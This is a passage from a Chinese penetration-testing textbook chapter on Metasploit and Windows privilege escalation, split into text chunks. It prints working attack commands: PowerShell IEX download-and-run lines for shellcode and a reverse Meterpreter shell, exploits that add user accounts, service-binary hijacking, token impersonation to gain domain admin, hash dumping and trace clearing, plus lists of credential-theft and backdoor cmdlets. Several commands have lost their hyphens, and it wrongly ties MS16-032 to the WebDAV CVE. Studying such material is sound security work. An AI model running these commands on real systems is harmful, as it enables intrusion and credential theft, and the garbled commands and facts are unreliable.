    {"text": "（1）渗透攻击模块（Exploit） 这是一段程序，包含各种 POC 验证程序，是攻击者或测试人员针对系统中的漏洞而设计的，运 行的时候会利用目标的安全漏洞进行攻击。 （2）攻击载荷模块（Payload） 这段程序会在成功对目标完成一次渗透测试之后在目标计算机上运行，用于在目标系统中运行 任意命令或者执行特定代码。 （3）辅助模块（Auxiliary） 该模块包含了一系列的辅助支持模块，包括扫描、嗅探、指纹识别、网络协议欺骗及其他相关 功能模块，以辅助渗透测试。 （4）编码器模块（Encoder） 在渗透测试中用于对攻击模块进行代码免杀，以逃过杀毒软件、防火墙、IDS 等目标安全保护 机制的检测。"},
    {"text": "表 7-1 Metasploit 的基本命令 命 令 用 法 示 例 Use auxiliary/exploit/payload 选择一个制定模块 Msf>use exploit/windows/smb/ms08-067_netapi Show exploits/payloads/options 显示可用的功能模块 Msf>show exploits Set options/payload 给相关对象赋值 Msf>set LHOST 11.11.11.11 Setg options/payload 给全局对象赋值 Msf>setg LHOST 11.11.11.11 Exploit/run 运行 Msf>run 取消当前选择的模块并退回上 Msf(ms08_067_netapi)>back Back 一级命令窗口 Msf> Info 列出模块的详细信息 Msf>info exploit/windows/smb/ms08-067_netapi search 搜索 Msf>search netapi sessions 列出当前可用的对话 Msf>sessions 7.1.3 后渗透工具 Meterpreter 尝试通过各种技术和漏洞利用代码攻陷目标机器后还能做什么？"},
    {"text": "获取目标机的 Meterpreter Shell 后，就进入了 Metasploit 最精彩的后期渗透利用阶段。 后期渗透 利用模块大约有 200 个，是 Metasploit 中的命令解释器，可以充当攻击载荷，并使用内存 DLL 注入 技术和原始的共享对象格式。"},
    {"text": "图 7-2 查看帮助 7.2 PowerShell 渗透利用剖析 Windows PowerShell 是一种命令行外壳程序和脚本环境，使命令行用户和脚本编写者可以利 用 .NET Framework 的强大功能，能够提供令人难以置信的灵活性和功能化管理 Windows 系统的能 力。"},
    {"text": "这些特点使 PowerShell 在获得和保持对系统的访问权限时成为攻击者首选 的攻击手段。 利用 PowerShell 的诸多特点，攻击者可以持续攻击而不会被轻易发现。 PowerShell 的优点如下。"},
    {"text": "图 7-3 各个版本的 Windows 下 PowerShell 的版本 365 网络攻防实战研究：漏洞利用与提权 7.2.1 PowerShell 的基本概念 1．PS1 文件 一个 PowerShell 脚本其实就是一个简单的文本文件，这个文件中包含一系列的 PowerShell 命 令，每个命令显示为独立的一行。 对于被视为 PowerShell 脚本的文本文件，它的文件名需要使用.PS1 扩展。 2．执行策略 为防止恶意脚本的执行，PowerShell 有一个执行策略，在默认情况下，这个执行策略被设为受 限的。 如果 PowerShell 脚本无法执行，可以使用下面的 cmdlet 命令确定当前的执行策略。"},
    {"text": "RemoteSigned：本地创建的脚本可以运行，但从网上下载的脚本不能运行（拥有数字证书签 名的除外）。 AllSigned：仅当脚本由受信任的发布者签名时才能运行。 Unrestricted：允许所有的 script 运行。"},
    {"text": "可以使用下面的 cmdlet 命令设置 PowerShell 的执行策略。 Set-ExecutionPolicy <policy name> 3．运行脚本 运行一个 PowerShell 脚本时必须要输入完整的路径和文件名。"},
    {"text": "例如，要运行一个名为 a.ps1 的脚 本，可以输入“C:\\Scripts\\a.ps1”。 最大的例外是，如果 PowerShell 脚本文件刚好位于系统目录中， 那么直接在命令提示符后输入脚本文件名即可运行，例如“.\\a.ps1” （注意前面需要加上“.\\”），这和 在 Linux 下执行 Shell 脚本的方法如出一辙。"},
    {"text": "PS> get-process p* | stop-process 7.2.2 PowerShell 的基本设置和常用命令 可以在 Windows 终端提示符下输入“PowerShell”，进入 PowerShell 命令行，输入“help”命令 可以显示帮助菜单，如图 7-4 所示。"},
    {"text": "如果要运行 PowerShell 脚本程序，必须将 Restricted 策略改成 Unrestricted，而修改此策略必须 拥有管理员权限，所以，在渗透的时候就需要采用一些方法绕过策略来执行脚本。 1．用 IEX 下载远程 PS1 脚本绕过执行 PowerShell.exe Nop NonI W Hidden Exec Bypass IEX(New-ObjectNet. WebClient).DownloadString(“脚本地址”);[Parameters] 在目标主机上执行 Meterpreter Shell，可以使用下面的脚本，如图 7-5 所示。 366 第 7 章 Metasploit 漏洞利用与提权 https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/In voke--Shellcode.ps1 图 7-4 进入 PowerShell 图 7-5 PowerShell 脚本 使用 PowerShell 反弹 Meterpreter Shell 的具体命令如下。 PowerShell.exe Nop NonI W Hidden Exec Bypass IEX(New-ObjectNet. WebClient).DownloadString( “ https://raw.githubusercontent.com/cheetz/PowerSploit /master/CodeExecution/Invoke--Shellcode.ps1 ” ); Invoke-Shellcode Payload windows/meterpreter/reverse_https Lhost 192.168.30.129 Lport 80 2．本地隐藏权限绕过执行脚本 上传 PowerUp.ps1 至目标服务器。"},
    {"text": "367 网络攻防实战研究：漏洞利用与提权 7.2.3 PowerShell 下常用的攻击工具 1．PowerSploit 下载地址：https://github.com/PowerShellMafia/PowerSploit。"},
    {"text": "Invoke-DllInjection.ps1 Invoke-Shellcode.ps1 Invoke-WmiCommand.ps1 Get-GPPPassword.ps1 Get-Keystrokes.ps1 Get-TimedScreenshot.ps1 Get-VaultCredential.ps1 Invoke-CredentialInjection.ps1 Invoke-Mimikatz.ps1 Invoke-NinjaCopy.ps1 Invoke-TokenManipulation.ps1 Out-Minidump.ps1 VolumeShadowCopyTools.ps1 Invoke-ReflectivePEInjection.ps1 2．PowerView 下载地址：https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1。"},
    {"text": "Get-NetUser Get-NetGroup Get-NetGroupMember Get-NetLocalGroup Get-NetSession Invoke-UserHunter Get-NetOU Find-GPOLocation Get-NetGPOGroup Get-ObjectACL Add-ObjectACL Invoke-ACLScanner Set-ADObject Invoke-DowngradeAccount Get-NetForest Get-NetForestTrust Get-NetForestDomain Get-NetDomainTrust Get-MapDomainTrust 368 第 7 章 Metasploit 漏洞利用与提权 3．Nishang 下载地址：https://github.com/samratashok/nishang。"},
    {"text": "Get-Unconstrained Add-RegBackdoor Add-ScrnSaveBackdoor Gupt-Backdoor Invoke-ADSBackdoor Enabled-DuplicateToken Invoke-PsUaCme Remove-Update Check-VM Copy-VSS Get-Information Get-LSASecret Get-PassHashes Invoke-Mimikatz Show-TargetScreen Port-Scan Invoke-PoshRatHttp Invoke-PowerShellTCP Invoke-PowerShellWMI Add-Exfiltration Add-Persistence Do-Exfiltration Start-CaptureServer 4．PowerShell Empire 下载地址：https://github.com/EmpireProject/Empire。"},
    {"text": "CodeExecution Collection Credentials Exfiltration Exploitation LateralMovement Management Persistence PrivilegeEscalation Recon SituationalAwareness 369 网络攻防实战研究：漏洞利用与提权 Fun&Trollsploit 常用的 cmdlets：具体如下。 Invoke-DllInjection Invoke-ReflectivePEInjection Invoke-ShellCode Get-ChromeDump Get-ClipboardContents Get-FoxDump Get-IndexedItem Get-Keystrokes Get-Screenshot Invoke-Inveigh Invoke-NetRipper Invoke-NinjaCopy Out-Minidump Invoke-EgressCheck Invoke-PostExfil Invoke-PSInject Invoke-RunAs MailRaider New-HoneyHash Set-MacAttribute Get-VaultCredential Invoke-DCSync Invoke-Mimikatz Invoke-PowerDump Invoke-TokenManipulation Exploit-Jboss Invoke-ThunderStruck Invoke-VoiceTroll Set-Wallpaper Invoke-InveighRelay Invoke-PsExec Invoke-SSHCommand Get-SecurityPackages Install-SSP Invoke-BackdoorLNK PowerBreach Get-GPPPassword Get-SiteListPassword Get-System Invoke-BypassUAC Invoke-Tater Invoke-WScriptBypassUAC PowerUp PowerView Get-RickAstley Find-Fruit HTTP-Login 370 第 7 章 Metasploit 漏洞利用与提权 Find-TrustedDocuments Get-ComputerDetails Get-SystemDNSServer Invoke-Paranoia Invoke-WinEnum Get-SPN Invoke-ARPScan Invoke-PortScan Invoke-ReverseDNSLookup Invoke-SMBScanner 图 7-6 PowerShell Empire 5．PowerUp 下载地址：https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1。"},
    {"text": "Get-ServiceUnquoted Get-ServiceFilePermission Get-ServicePermission Invoke-ServiceAbuse Install-ServiceBinary Get-RegAutoLogon Get-VulnAutoRun Get-VulnSchTask Get-UnattendedInstallFile Get-WebConfig Get-ApplicationHost Get-RegAlwaysInstallElevated 6．Invoke-Mimikatz 下载地址：https:// raw.githubusercontent.com/ PowerShellEmpire/Empire/master/data/module_source/ credentials/Invoke-Mimikatz.ps1。"},
    {"text": "7.3.1 查询当前权限 在成功获取目标机的 Meterpreter Shell 后，第一步就是要知道现在已经拥有了目标主机的什么权 限，还需不需要提权。 在 Meterpreter Shell 下输入命令“shell”，进入目标机 CMD 命令行，如图 7-8 所示。"},
    {"text": "图 7-8 CMD 命令行 图 7-9 查询权限 可以看到，这个表是 Mandatory Label\\Medium Mandatory Level，说明当前是一个标准用户，需 要将用户权限从标准用户提升到管理员，也就是 Mandatory Label\\High Mandatory Level。"},
    {"text": "372 第 7 章 Metasploit 漏洞利用与提权 7.3.2 使用 getsystem 命令提权 我们来分析一下 getsystem 命令使用的不同技术，如图 7-10 所示。 图 7-10 帮助 getsystem 命令使用 3 种技术实现权限的提升。"},
    {"text": "1．命令管道模拟提升攻击 管道是指服务器应用程序在系统进程内进行通信的通道，创建该通道的应用程序就是管道服务 器，与其连接的应用程序就是客户端。"},
    {"text": "模拟是指服务器某个线程使用非自己身份去执行某项操作的 能力，这种能力可以使服务器的某个线程代表客户端执行，但执行的范围仅在客户端的安全范围之 内。"},
    {"text": "2．令牌假冒 操作系统为每个用户提供了独一无二的令牌 ID，该 ID 用于检测系统中不同用户的许可权级别。 令牌假冒的工作原理是：如果低权限用户复制了高权限用户的令牌，低权限用户就拥有了高权限用 户的所有权限。"},
    {"text": "首 先使用 getuid 命令查看当前用户 ID，可以看到这是一个 USER 权限的用户，如图 7-11 所示。 图 7-11 查看当前用户权限 使用 getsystem 命令提升权限，如图 7-12 所示。 图 7-12 提升权限 从以上输出的信息可以看出，自动选择了方法 1。"},
    {"text": "例如，执行 hashdump 命令，抓取目标系统中 的所有密码，如图 7-13 所示，然后把抓到的加密 Hash 值放到 cmd5 网站中解密，就可以得到目标系 统的所有密码了。"},
    {"text": "getsystem 命令使用方便，简单高效，在渗透测试中会频繁使用，建议在所有提权过程中先行尝 试此方法。 373 网络攻防实战研究：漏洞利用与提权 图 7-13 抓取 Hash 7.4 MS16-016 本地溢出漏洞利用实战 在常规渗透测试中，我们一般会去找相对应的漏洞提权工具，如果找不到相应的提权工具，就 只能望“洞”叹息了。 在 Metasploit 中不用这么麻烦，Metasploit 自带几乎所有溢出漏洞的提权模块， 只要利用对应模块就可以实现权限的提升。"},
    {"text": "Windows Server 2012 Windows Server 2012 R2 Windows RT 8.1 Windows 10 7.4.2 Metasploit 下 MS16-016 漏洞提权实战 在 7.4.1 节中提到过，Metasploit 自带几乎所有溢出漏洞的提权模块，当然，前提是要经常更新。"},
    {"text": "此处假设通过一系列渗透测试得到了目标机器的 WebShell，通过 WebShell 的文件管理功能把 Metasploit 客户端上传。 在 WebShell 中运行上传的客户端，得到 Meterpreter Shell。"},
    {"text": "图 7-16 尝试提权 在目标机的 CMD 命令行下输入 systeminfo 命令，查询目标机打了哪些补丁，如图 7-17 所示。 为了方便演示，这里使用的目标机是笔者的虚拟机，所以没有打任何补丁。 其实，我们可以利 用 Windows 下已有的各种漏洞来提权，然后搜索 Metasploit 中是否有 MS16-016 的 exploit 程序（该 模块在 32 位和 64 位 Windows 中都有效），如图 7-18 所示。 通过搜索得到 exploit/windows/local/ms16_016_webdav，说明 Metasploit 有相应的 exploit 程序。 知识点 如果搜索不到最新的 exploit，可以使用 msfupdate 命令进行升级，获取最新的 exploit 模块和攻 击载荷。"},
    {"text": "图 7-17 查询补丁 图 7-18 搜索 EXP 图 7-19 提权 376 第 7 章 Metasploit 漏洞利用与提权 可以看到，成功利用了 notepad 漏洞，启动了一个 PID 为 708 的进程。"},
    {"text": "输入 PS 命令查看目标机 进程，找到 PID 为 708 的进程，图 7-20 所示。 图 7-20 找到进程 最后，利用 migrate 命令迁移到该进程中，然后执行 getsystem 命令再次查看权限，可以看到， 已经是系统权限了，如图 7-21 所示。"},
    {"text": "7.5 通过 WMIC 实战 MS16-032 溢出漏洞 本节将利用 Windows 平台上最有用的命令行工具 WMIC，找到系统漏洞 EXP，分别讲解如何在 Metasploit 和 PowerShell 中一步步对 MS16-032 溢出漏洞进行权限的提升。"},
    {"text": "使用 WMIC，不但可以管理本地计算机，还可以管理同一域内的所有远程计算机（需要必 要的权限），而被管理的远程计算机不必事先安装、分析、解释和执行从命令行接收的别名（Alias）的 引擎。"},
    {"text": "WMIC 可以以交互模式（Interactive mode） 和非交互模式（Non-Interactive mode）执行，经常使用 Netsh 命令行的读者应该非常熟悉这两种模式。 377 网络攻防实战研究：漏洞利用与提权 交互模式：如果在命令提示符下或通过“运行”菜单只输入“WMIC”，都将进入 WMIC 的 交互模式。"},
    {"text": "非交互模式：非交互模式是指将 WMIC 指令直接作为 WMIC 的参数放在 WMIC 后面，当指 令执行完毕再返回普通的命令提示符下，而不是进入 WMIC 的上下文环境。 WMIC 的非交 互模式主要用在批处理或者其他脚本文件中。"},
    {"text": "WMIC 在信息搜集和后渗透测试阶段非常实用，可以调取、查看目标机的进程、服务、用户、 用户组、网络连接、硬盘信息、网络共享信息、已安装补丁、启动项、已安装的软件、操作系统的 相关信息和时区等，对 WMIC 感兴趣的读者可以访问 http://www.computerhope.com/wmic.htm 了解更 多内容。"},
    {"text": "7.5.2 MS16-032 漏洞简介 MS16-032（WebDAV 特权提升漏洞，CVE 漏洞编号 CVE-2016-0051）漏洞发布于 2016 年 3 月 8 日，如果 Microsoft Web 分布式创作和版本管理（WebDAV）客户端验证输入不当，其中就会存在 特权提升漏洞。"},
    {"text": "对于 Windows Vista、Windows Server 2008、Windows 7 和 Windows Server 2008 R2，此安全更新 程序的等级为“重要”； 对于 Windows 8.1、Windows Server 2012、Windows Server 2012 R2、Windows RT 8.1 和 Windows 10，此安全更新程序的等级为“中等”。"},
    {"text": "7.5.3 Metasploit 下 MS16-032 漏洞提权实战 此处假设通过一系列的渗透测试得到了目标机器的 WebShell，然后通过 WebShell 的文件管理功 能把 Metasploit 客户端上传，通过 WebShell 运行上传的客户端。"},
    {"text": "WmicqfegetCaption,Description,HotFixID,InstalledOn 图 7-24 查看系统补丁 可以看到，目标机打了很多补丁，但是这些输出的结果是不能被直接利用的，最好的方式是去 寻找权限提升的 EXP 并将这些编号与 EXP 编号进行对比，例如 KiTrap0D（KB979682）、MS11-011 （KB2393802）、MS10-059（KB982799）、MS10-021（KB979683）、MS11-080（KB2592799）。"},
    {"text": "图 7-27 设置 session 4．执行溢出 直接输入 exploit 或 run 命令，如图 7-28 所示。 图 7-28 执行溢出 根据返回的信息可以看到，已经创建了 session，并提示提权成功。 查看当前 session 的控制图， 如图 7-29 所示。 图 7-29 session 控制图 接着看一下 Meterpreter Shell 的权限，已经是 system 权限了，如图 7-30 所示。"},
    {"text": "Invoke-MS16-032 Application cmd.exe Commandline ‘/c net user 1 1 /add” 图 7-35 运行脚本 381 网络攻防实战研究：漏洞利用与提权 查看当前用户，可以看到已经成功添加了一个用户“1”，如图 7-36 所示。"},
    {"text": "执行如下命令，就执行了 notepad 程序，如 图 7-37 所示。 Invoke-MS16-032 Application notepad.exe 图 7-37 运行 notepad 程序 当然，也可以远程下载、提权并添加用户。"},
    {"text": "powershell -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/ master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user evi1cg test123 /add'\" 图 7-38 远程执行命令 可以看到，成功添加了一个用户名为“2”的用户，如图 7-39 所示。"},
    {"text": "图 7-39 查看用户 382 第 7 章 Metasploit 漏洞利用与提权 7.6 绕过用户控制实战 在渗透测试中，如果目标主机的操作系统是 Windows Vista 或更高版本，在权限不够的情况下， 访问系统磁盘的根目录（例如 C:\\）、Windows 目录、Windows 系统目录、Program Files 目录、Windows 安全信息及读写系统登录数据库（Registry）的程序等操作，都需要通过 UAC 的认证。"},
    {"text": "7.6.1 UAC 简介 User Account Control（用户账户控制，UAC）是微软为提高系统的安全性在 Windows Vista 中引 入的新技术，它要求用户在执行可能影响计算机运行的操作或更改影响其他用户的设置之前提供权 限或管理员密码。"},
    {"text": "通过在这些操作启动前对其进行验证，UAC 可以帮助防止恶意软件和间谍软件在 未经许可的情况下在计算机上进行安装操作或对计算机设置进行更改。"},
    {"text": "UAC 需要授权的动作包括配置 Windows Update、增加或删除用户账户、改变用户的账户类型、 改变 UAC 设置、安装 ActiveX、安装或卸载程序、安装设备驱动程序、设置家长控制、将文件移动 或复制到 Program Files 或 Windows 目录下、查看其他用户的文件夹。"},
    {"text": "7.6.2 利用 bypassuac 绕过 UAC 实战演练 此时假设通过一系列前期渗透，已经成功获得了目标机的 Meterpreter Shell（过程略），当前权 限为 shuteer。"},
    {"text": "在这里使用 exploit/windows/local/bypassuac 模块（该模块在 32 位和 64 位 Windows 下都有效），该模块执行成功后将返回一个新的 Meterpreter Shell，设置如图 7-42 所示。"},
    {"text": "7.6.3 利用 RunAs 绕过 UAC 实战演练 除了上述方法外，可以利用 exploit/windows/local/ask 模块（该模块在 32 位和 64 位 Windows 下 都有效）创建一个可执行文件。"},
    {"text": "目标机会运行一个发起提升权限请求的程序，提示用户是否要继续 运行，如果用户选择“是”，就会触发返回一个高权限的 Meterpreter Shell，如图 7-45 所示。"},
    {"text": "图 7-47 反弹成功 同样执行 getuid 命令查看权限。 当发现是普通权限时，继续执行 getsystem 命令，再次查看权 限，发现已经是系统权限了，如图 7-48 所示。"},
    {"text": "图 7-49 清除痕迹 7.7 通过假冒令牌获取 Windows Server 2008 R2 域管权限 使用假冒令牌可以假冒一个网络中的另一个用户进行各种操作，例如提升用户权限、创建用户 和组等。"},
    {"text": "令牌包括登录会话的安全信息，例如用户身份识别、用户组和用户权限。 当一个用户登录 Windows 系统时，会被给定一个访问令牌作为其认证会话的一部分。"},
    {"text": "7.7.1 令牌简介 令牌（Token）是系统的临时密钥，相当于账户名和密码，用来决定是否允许这次请求，以及判 断这次请求是哪一个用户发出的。"},
    {"text": "7.7.2 关于令牌的一些问题 关于令牌，首先是生成及存储的问题，然后是过期时间的问题，最后是怎么保证其在用户使用 状态下一直有效的问题。"},
    {"text": "386 第 7 章 Metasploit 漏洞利用与提权 7.7.3 令牌的工作机制 在假冒令牌攻击中需要使用 Kerberos 协议，所以在 使用假冒令牌前介绍一下 Kerberos 协议。"},
    {"text": "当然，认证服务器也会将该证书发给服务器， 用来使服务器认证登录客户端用户的身份。 ③ 客户端将 ticket 传送到服务器上，如果服务器确认该客户端，便允许它登录服务器。 ④ 客户端登录成功后，攻击者就可以通过入侵服务器来获取客户端的令牌了。"},
    {"text": "首先来看目 标主机的系统信息和当前所拥有的权限，如图 7-51 和图 7-52 所示。 图 7-51 查看系统信息 图 7-52 查看当前权限 可以看到，目标主机操作系统是 Windows Server 2008 R2 32 位，并属于某个域环境，而当前获 得的权限是一个普通的 user 权限。"},
    {"text": "假设现在目标机上有域管理员运行的进程，可以把一个进程 PID 作为一个域管理员组令牌，从而添加一个域账户，并把域账户添加到域管理员组中，获得域管理员 的权限。"},
    {"text": "一种是 Delegation Token，也就是授权令牌，它支持交互式登录 （例如可以通过远程桌面登录访问）。 还有一种是 Impersonation Token，也就是模拟令牌，它是非交互 的会话。"},
    {"text": "从输出的信息中可以看到，分配的有效令牌是“WIN-57TJ4B561MT\\\\Administrator”。 “WIN-57TJ4B561MT”是目标机的主机名，“Administrator”是登录的用户名。"},
    {"text": "输入如下命令，把此用户添加到管理员组中，如图 7-59 所示。 Net group \"domain admins\" user /ad /domain 图 7-59 添加到管理员组 使用如下命令查看域管理组，可以看到域管理员已经添加成功，如图 7-60 所示。 net group \"domain admins\" /domain 图 7-60 查看域管理组 至此，攻击者就通过假冒令牌成功获取了域服务器管理员的权限。"},
    {"text": "7.8 错误的 Windows 系统配置漏洞提权实战 在获得目标机的一个普通用户权限后，除了常规提权方法外，还可以通过查找目标主机中错误 的系统配置和漏洞来获取系统权限。"},
    {"text": "Microsoft Word - a扉页.doc 389 网络攻防实战研究：漏洞利用与提权 7.8.1 Trusted Service Paths 漏洞介绍 Trusted Service Paths 漏洞是由系统中的 CreateProcess 函数引起的。"},
    {"text": "7.8.2 Trusted Service Paths 漏洞产生原因 Windows 服务通常都是以 system 权限运行的，所以系统在解析服务的二进制文件所对应的文件 路径中的空格时，也会以系统权限进行解析。"},
    {"text": "例如，对文件路径“C:\\Program Files\\Some Folder\\Service.exe”中的每一个空格，Windows 都会 尝试寻找并执行名字与空格前的名字指向所匹配的程序。 操作系统会对文件路径中空格的所有可能 进行尝试，直至找到一个匹配的程序为止。"},
    {"text": "C:\\Program.exe C:\\Program Files\\Some.exe C:\\Program Files\\Some Folder\\Service.exe 所以，如果攻击者能够上传一个适当命名的恶意可执行程序到受影响的目录中，服务一旦重启， 恶意程序就会以 system 权限运行（在大多数情况下）。"},
    {"text": "7.8.3 Metasploit 下 Trusted Service Paths 漏洞利用实战 假设通过一系列前期渗透，已经成功获得了目标机的 Meterpreter Shell（过程略），当前权限为 shuteer。"},
    {"text": "图 7-61 当前权限 1．检测目标主机中是否存在该漏洞 从理论上讲，如果一个服务的可执行文件的路径没有用双引号封闭并且包含空格，那么这个服 务就是有漏洞的。"},
    {"text": "在 Meterpreter Shell 命令提示符下输入 shell 命令，进入目标机的 CMD 命令行，然后使用下列 wmi 查询命令列举受攻击机器上所有没有加引号的服务路径（除去了 Windows 本身的服务），如图 7-62 所示。"},
    {"text": "wmic service get name,displayname,pathname,startmode |findstr /i \"Auto\" |findstr /i /v \"C:\\Windows\\\\\" |findstr /i /v \"\"\" 可以看到，有 Vulnerable Service、OmniServ、OmniServer、OmniServers 共 4 个服务所对应的二 进制文件路径没有被引号包含，并且路径中包含空格，存在漏洞。"},
    {"text": "390 第 7 章 Metasploit 漏洞利用与提权 图 7-62 查询路径 2．检查是否拥有对存在漏洞的目录的写入权限 使用 Windows 的内建工具 icacls 依次检查“C:\\Program Files”、 “C:\\Program Files\\Common Files”、 “C:\\Program Files\\Common Files\\microsoft shared”等目录的权限，都提示权限不够，如图 7-63 所示。"},
    {"text": "图 7-63 查看目录权限 图 7-64 查看目录权限 “Everyone”表示用户对这个文件有完全控制权，也就是说，所有用户都具有全部权限来修改这 个文件夹。"},
    {"text": "3．开始攻击 在 Metasploit 中对应的模块是 Windows Service Trusted Path Privilege Escalation 本地利用模块， 该模块会将恶意的可执行程序放到受影响的文件夹中，然后将受影响的服务重启。 输入“background” 命令，把当前的 Meterpreter Shell 转为后台执行，然后在 Metasploit 中搜索 trusted_service_path 模块， 如图 7-65 所示。"},
    {"text": "在此 Meterpreter Shell 下输入“getuid”命 令，发现是 system 权限，如图 7-67 所示，证明提权成功了。 图 7-67 提权成功 输入“sessions”命令，可以看到 2 个 Meterpreter，ID 为“3”的就是反弹回来的 Meterpreter， 如图 7-68 所示。"},
    {"text": "图 7-68 查看 session 浏览源代码，发现这个模块使用了一些正则表达式来过滤那些用引号包含起来的路径，以及路 径中不含空格的路径，并创建了一个受影响的服务的路径列表。"},
    {"text": "所以，如果一个低权限的用户对于此类系统服 务调用的可执行文件具有可写的权限，就可以将其替换成恶意可执行文件，随着系统启动服务而获 得系统权限。"},
    {"text": "7.8.5 PowerUp 对系统服务错误权限配置漏洞的利用 本节主要利用一个非常实用的 PowerShell 框架 PowerUp，通过直接替换可执行文件本身来实现 权限的提升。"},
    {"text": "图 7-69 上传工具 上传脚本后，输入 shell 命令进入 CMD 提示符环境，使用下列命令在本地隐藏权限，绕过并执 行该脚本，自动对所有的脚本进行检查，如图 7-70 所示。"},
    {"text": "powershell.exe -exec bypass -Command \"& {Import-Module .\\PowerUp.ps1; Invoke-AllChecks}\" 图 7-70 查找有漏洞的服务（1） 也可以使用 IEX 下载，在内存中加载此脚本。"},
    {"text": "393 网络攻防实战研究：漏洞利用与提权 powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString ('c:/PowerUp.ps1');Invoke-AllChecks” 图 7-71 查找有漏洞的服务（2） 知识点 -NoProfile（-nop）：PowerShell 控制台不加载当前用户的配置。"},
    {"text": "第一部分通过 Get-ServiceUnquoted 模块检测出了 Vulnerable Service、OmniServ、OmniServer、 OmniServers 共 4 个服务，路径包含空格且不带引号，但是都没有权限，所以不能用来提权。 第二部 分通过 Get-ServiceFilePermission 模块检测出当前用户可以在 OmniServers 服务的目录中写入相关联 的可执行文件，并且通过这些文件进行提权。"},
    {"text": "先测试“C:\\Program Files\\Executable.exe”、“C:\\Program Files\\Common Files\\microsoft shared\\OmniServ.exe”、“C:\\Program Files\\Common Files\\A Subfolder\\OmniServer.exe”这 3 个文件夹，均提示权限不够，如图 7-72 所示。 图 7-72 查看目录权限（1） 再测试“C:\\Program Files\\Program Folder\\A Subfolder\\OmniServers.exe”文件，如图 7-73 所示。"},
    {"text": "394 第 7 章 Metasploit 漏洞利用与提权 图 7-73 查看目录权限（2） 使用如图 7-71 所示 AbuseFunction 处给出的操作方式，执行如下命令，如图 7-74 所示。"},
    {"text": "powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Install-ServiceBinary -ServiceName 'OmniServers'-UserName shuteer -Password Password123! 图 7-74 添加用户 知识点 Install-ServiceBinary 模块通过 Write-ServiceBinary 编写一个 C#服务来添加用户。"},
    {"text": "因为本节采用的是虚拟机环境，所以直接使用如下命令强制重启，如图 7-76 所示。 Shutdown r f t 0 图 7-75 停止启动服务 图 7-76 强制重启 切换到目标机界面，可以看到已经关机并准备重启了，如图 7-77 所示。"},
    {"text": "395 网络攻防实战研究：漏洞利用与提权 图 7-79 查看权限 图 7-80 查看文件夹 这时，攻击者会清除入侵的痕迹，把所有的状态恢复到最初，命令如下。"},
    {"text": "powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString ('c:/PowerUp.ps1');Restore-ServiceBinary -ServiceName 'OmniServers' 将“C:\\Program Files\\Program Folder\\A Subfolder\\OmniServers.exe.bak”恢复为“C:\\Program Files\\Program Folder\\A Subfolder\\OmniServers.exe”。 移除备份二进制文件“C:\\Program Files\\Program Folder\\A Subfolder\\OmniServers.exe.bak”。"},
    {"text": "7.9.1 Windows 服务漏洞介绍 Windows 系统服务运行在后端，由操作系统通过 SCM（服务控制管理）控制，它负责处理所有 发送给 Windows 服务的命令，接收 Windows 服务的更新。"},
    {"text": "首先，在 Metasploit 下使用 upload 命令将 AccessChk 上传至目标机，如图 7-81 所示。 图 7-81 上传 AccessChk 然后，到目标机的 CMD 命令行下使用如下命令来判断到底哪个服务可以被认证的用户修改（不 考虑用户的权限级别），如图 7-82 所示。"},
    {"text": "accesschk.exe -uwcqv \"Authenticated Users\" * /accepteula 图 7-82 查看可修改用户 “Authenticated Users”是指 Windows 系统中所有使用用户名和密码登录并通过了身份验证的账 户，不包括来宾账户 Guest。"},
    {"text": "知识点 第一次执行 sysinternals 工具包里的工具时，会弹出一个许可协议弹框，在这里可以添加一个参 数/accepteula 来自动接受许可协议，命令如下。"},
    {"text": "accesschk.exe/accepteula 找出某个驱动器下所有权限配置有缺陷的文件夹路径，命令如下。 accesschk.exe uwdqsUsersc:\\ accesschk.exe uwdqs\"AuthenticatedUsers\"c:\\ 找出某个驱动器下所有权限配置有缺陷的文件路径，命令如下。 accesschk.exe uwqsUsersc:\\*.* accesschk.exe uwqs\"AuthenticatedUsers\"c:\\*.* 接着，使用 SC 命令查看 PFNet 服务的配置（也可以用来管理 Windows 服务），如图 7-83 所示。"},
    {"text": "397 网络攻防实战研究：漏洞利用与提权 图 7-83 查看配置属性 图 7-84 设置相关参数 2．实施攻击 输入“run”命令，可以看到自动反弹了一个新的 Meterpreter Shell。 在此 Meterpreter Shell 下输 入“getuid”命令，发现是 system 权限，如图 7-85 所示，证明提权成功了。 图 7-85 提权成功 输入“sessions”命令，可以看到 ID 为 5 的就是新反弹回来的 Meterpreter Shell，如图 7-86 所示。"},
    {"text": "398 第 7 章 Metasploit 漏洞利用与提权 当创建服务或者劫持已经存在的服务时，该模块会创建一个可执行程序，其文件名和安装的文 件路径是随机生成的。"},
    {"text": "7.10 AlwaysInstallElevated 提权实战演练 在讲解 AlwaysInstallElevated 提权之前，要介绍一下 Windows Installer 的相关知识，以便读者更 好地理解该漏洞产生的原因。"},
    {"text": "7.10.1 Windows Installer 相关知识介绍 Windows Installer 是微软操作系统的组件之一，是专门用来管理和配置软件服务的工具。 除了是 一个安装程序外，Windows Installer 可以实现管理软件的安装、管理软件组件的添加和删除、监视文 件复原、通过使用回滚来进行基本的灾难恢复等功能。 Windows Installer 技术分为两部分，它们结合在一起工作，分别是客户端安装服务（Msiexec.exe） 和 Microsoft 软件安装（MSI）软件包。 Windows Installer 通过 Msiexec 安装 MSI 中包含的信息程序。 Msiexec 用于安装 Windows Installer 软件包（MSI），一般在运行 Microsoft Update 安装更新或安装部 分软件的时候出现，占用内存较多。 简单的说，当用户双击.msi 文件时，就会运行 Msiexec.exe。 MSI 文件是 Windows Installer 的数据包，它实际上是一个数据库，包含安装一种产品所需要的信息，以 及在很多安装情形下安装（和卸载）程序所需要的指令和数据。 MSI 文件将程序的组成文件与功能 关联起来。"},
